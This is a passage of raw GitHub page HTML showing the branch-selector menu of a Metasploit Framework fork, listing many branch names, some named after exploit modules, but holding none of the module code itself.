href="/jvazquez-r7/metasploit-framework/blob/fix_dlink_command_php/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_dlink_command_php" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_dlink_command_php">fix_dlink_command_php</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_dlink_dir300_exec_telnet/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_dlink_dir300_exec_telnet" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_dlink_dir300_exec_telnet">fix_dlink_dir300_exec_telnet</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_dlink_upnp_exec_noauth/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_dlink_upnp_exec_noauth" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_dlink_upnp_exec_noauth">fix_dlink_upnp_exec_noauth</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_ex_handle/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_ex_handle" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_ex_handle">fix_ex_handle</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_firefox_condition/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_firefox_condition" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_firefox_condition">fix_firefox_condition</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_ge_proficy/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_ge_proficy" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_ge_proficy">fix_ge_proficy</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_gestioip_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_gestioip_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_gestioip_exec">fix_gestioip_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_hp_operations_get_once/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_hp_operations_get_once" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_hp_operations_get_once">fix_hp_operations_get_once</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_jtr_mixin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_jtr_mixin" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_jtr_mixin">fix_jtr_mixin</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_nbns_response_descr/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_nbns_response_descr" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_nbns_response_descr">fix_nbns_response_descr</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_payload_encoding/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_payload_encoding" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_payload_encoding">fix_payload_encoding</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_python_load/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_python_load" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_python_load">fix_python_load</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_require_portproxy/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_require_portproxy" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_require_portproxy">fix_require_portproxy</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_rspec_ropdb/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_rspec_ropdb" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_rspec_ropdb">fix_rspec_ropdb</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_zdi_ref/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_zdi_ref" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_zdi_ref">fix_zdi_ref</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fixes-ie-0day/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fixes-ie-0day" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fixes-ie-0day">fixes-ie-0day</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/foreman_username/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="foreman_username" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="foreman_username">foreman_username</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/foswiki_maketext/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="foswiki_maketext" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="foswiki_maketext">foswiki_maketext</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/foxit_reader_plugin_url_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="foxit_reader_plugin_url_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="foxit_reader_plugin_url_bof">foxit_reader_plugin_url_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/freebsd_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="freebsd_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="freebsd_fix">freebsd_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/freefloat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="freefloat" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="freefloat">freefloat</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/github_pulls/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="github_pulls" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="github_pulls">github_pulls</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/gpp-passwords/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="gpp-passwords" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="gpp-passwords">gpp-passwords</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/grammar-fixes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="grammar-fixes" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="grammar-fixes">grammar-fixes</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/groundwork_monarch_cmd_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="groundwork_monarch_cmd_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="groundwork_monarch_cmd_exec">groundwork_monarch_cmd_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/groupwise_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="groupwise_traversal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="groupwise_traversal">groupwise_traversal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/handler-requires-race/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="handler-requires-race" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="handler-requires-race">handler-requires-race</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hmoore-r7-module-loader/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hmoore-r7-module-loader" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hmoore-r7-module-loader">hmoore-r7-module-loader</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/honeywell_tema_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="honeywell_tema_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="honeywell_tema_exec">honeywell_tema_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_dataprotector_dtbclslogin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_dataprotector_dtbclslogin" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_dataprotector_dtbclslogin">hp_dataprotector_dtbclslogin</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_faultdownloadservlet_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_imc_faultdownloadservlet_traversal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_imc_faultdownloadservlet_traversal">hp_imc_faultdownloadservlet_traversal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_ictdownloadservlet_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_imc_ictdownloadservlet_traversal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_imc_ictdownloadservlet_traversal">hp_imc_ictdownloadservlet_traversal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_mibfileupload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_imc_mibfileupload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_imc_mibfileupload">hp_imc_mibfileupload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_imc_reportimgservlt_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_imc_reportimgservlt_traversal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_imc_reportimgservlt_traversal">hp_imc_reportimgservlt_traversal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_mpa_job_acct/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_mpa_job_acct" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_mpa_job_acct">hp_mpa_job_acct</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_snac_enum_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_snac_enum_creds" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_snac_enum_creds">hp_snac_enum_creds</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_system_mgmt_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_system_mgmt_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_system_mgmt_work">hp_system_mgmt_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_vsa_exec_9/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_vsa_exec_9" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_vsa_exec_9">hp_vsa_exec_9</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/hp_vsa_login_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="hp_vsa_login_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="hp_vsa_login_bof">hp_vsa_login_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ibm_cognos_tm1admsd_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ibm_cognos_tm1admsd_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ibm_cognos_tm1admsd_bof">ibm_cognos_tm1admsd_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ibm_director_cim_dllinject/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ibm_director_cim_dllinject" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ibm_director_cim_dllinject">ibm_director_cim_dllinject</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ibm_spss_c1sizer/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ibm_spss_c1sizer" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ibm_spss_c1sizer">ibm_spss_c1sizer</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ie_cdwnbindinfo_uaf/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ie_cdwnbindinfo_uaf" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ie_cdwnbindinfo_uaf">ie_cdwnbindinfo_uaf</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ie_w2003/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ie_w2003" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ie_w2003">ie_w2003</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/indesign_macosx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="indesign_macosx" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="indesign_macosx">indesign_macosx</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/indusoft_issymbol_internationalseparator/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="indusoft_issymbol_internationalseparator" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="indusoft_issymbol_internationalseparator">indusoft_issymbol_internationalseparator</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/injector_docx_post/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="injector_docx_post" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="injector_docx_post">injector_docx_post</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/inotes_dwa85w_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="inotes_dwa85w_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="inotes_dwa85w_bof">inotes_dwa85w_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/instantcms/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="instantcms" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="instantcms">instantcms</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/j0hnf-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="j0hnf-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="j0hnf-master">j0hnf-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/j7u17_references/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="j7u17_references" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="j7u17_references">j7u17_references</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_0day_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_0day_refs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_0day_refs">java_0day_refs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java7u17_click2play_bypass/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java7u17_click2play_bypass" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java7u17_click2play_bypass">java7u17_click2play_bypass</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_cmm/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_cmm" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_cmm">java_cmm</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_driver_manager/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_jre17_driver_manager" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_jre17_driver_manager">java_jre17_driver_manager</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_glassfish_averagerangestatisticimpl/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_jre17_glassfish_averagerangestatisticimpl" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_jre17_glassfish_averagerangestatisticimpl">java_jre17_glassfish_averagerangestatisticimpl</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_jmxbean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_jre17_jmxbean" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_jre17_jmxbean">java_jre17_jmxbean</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_jmxbean_2/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_jre17_jmxbean_2" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_jre17_jmxbean_2">java_jre17_jmxbean_2</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_method_handle/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_jre17_method_handle" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_jre17_method_handle">java_jre17_method_handle</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_store_imagearray/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_store_imagearray" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_store_imagearray">java_store_imagearray</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_store_imagearray_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_store_imagearray_clean" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_store_imagearray_clean">java_store_imagearray_clean</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/java_ws_double_quote/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="java_ws_double_quote" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="java_ws_double_quote">java_ws_double_quote</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jboss_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jboss_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jboss_fix">jboss_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jenkins_script_console_mod/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jenkins_script_console_mod" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jenkins_script_console_mod">jenkins_script_console_mod</a> - </div> <!-- /.select-menu-item --> - <div 